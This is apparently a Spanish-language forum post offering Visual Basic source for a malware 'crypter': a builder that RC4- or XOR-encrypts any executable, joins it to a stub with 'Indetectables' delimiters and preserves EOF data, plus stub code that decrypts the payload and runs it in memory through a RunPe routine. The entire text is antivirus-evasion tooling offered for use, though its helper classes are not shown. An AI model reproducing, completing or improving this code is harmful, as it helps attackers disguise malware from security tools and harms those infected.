Code Crypter:
Código: Seleccionar todo
Private Sub Command1_Click()
With CD
.DialogTitle = " Seleccione el Archivo Que desea EnCryptar!"
.Filter = "Aplicaciones EXE|*.exe"
.ShowOpen
End With
If Dir(CD.FileName) = vbNullString Then Exit Sub
Text1.Text = CD.FileName
End Sub
Private Sub Command2_Click()
Dim Stub As String
With CD
.DialogTitle = "Selecciones Donde Guardar El Archivo"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With
Open App.Path & "\" & "Stub.dll" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Dim EOF As String
If Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text)
Dim Bin As String
Open Text1.Text For Binary As #1
Bin = Space(LOF(1))
Get #1, , Bin
Close #1
Dim RC4 As New clsRC4, xXor As New clsXOR
Dim Encryptacion As String
If Option1.Value = True Then
Bin = RC4.EncryptString(Bin, Text2.Text)
Encryptacion = "RC4"
End If
If Option2.Value = True Then
Bin = xXor.EncryptString(Bin, Text2.Text)
Encryptacion = "XOR"
End If
Dim Datos As String
Datos = Stub & "Indetectables[$].net" & Bin & "Indetectables[$].net" & Encryptacion & "Indetectables[$].net" & Text2.Text & "Indetectables[$].net"
Open CD.FileName For Binary As #1
Put #1, , Datos
Close #1
If Check1.Value = 1 Then Call WriteEOFData(CD.FileName, EOF)
End Sub
Private Sub Command3_Click()
Text2.Text = ""
For i = 0 To 16
Text2.Text = Text2.Text & Mid("qwertyuiopasdfghjklñzxcvbnmQWERTYUIOPASDFGHJKLÑZXCVBNM1234567890", Rnd * 64 + 1, 1)
Next i
End Sub
Private Sub Form_Load()
End SubCode Del stub :
Código: Seleccionar todo
Sub Main()
Dim Misdatos As String
Open App.Path & "\" & appEXEnam & ".exe" For Binary As #1
Misdatos = Space(LOF(1))
Get #1, , Misdatos
Close #1
Dim xSplit() As String
xSplit = Split(Misdatos, "Indetectables[$].net")
'xSplit(0) = Stub
'xSplit(1) = el archivo encryptado
'xSplit(2) = la encryptacion que usa
'xSplit(3) La contraseña de desencryptacion
Dim RC4 As New clsRC4, xXor As New clsXOR
If xSplit(2) = "RC4" Then
xSplit(1) = RC4.DecryptString(xSplit(1), xSplit(3))
End If
If xSplit(2) = "XOR" Then
xSplit(1) = xXor.DecryptString(xSplit(1), xSplit(3))
End If
Dim hDatos() As Byte
hDatos() = StrConv(xSplit(1), vbFromUnicode)
Call RunPe(App.Path & "\" & App.EXEName & ".exe", hDatos(), Command)
End Sub
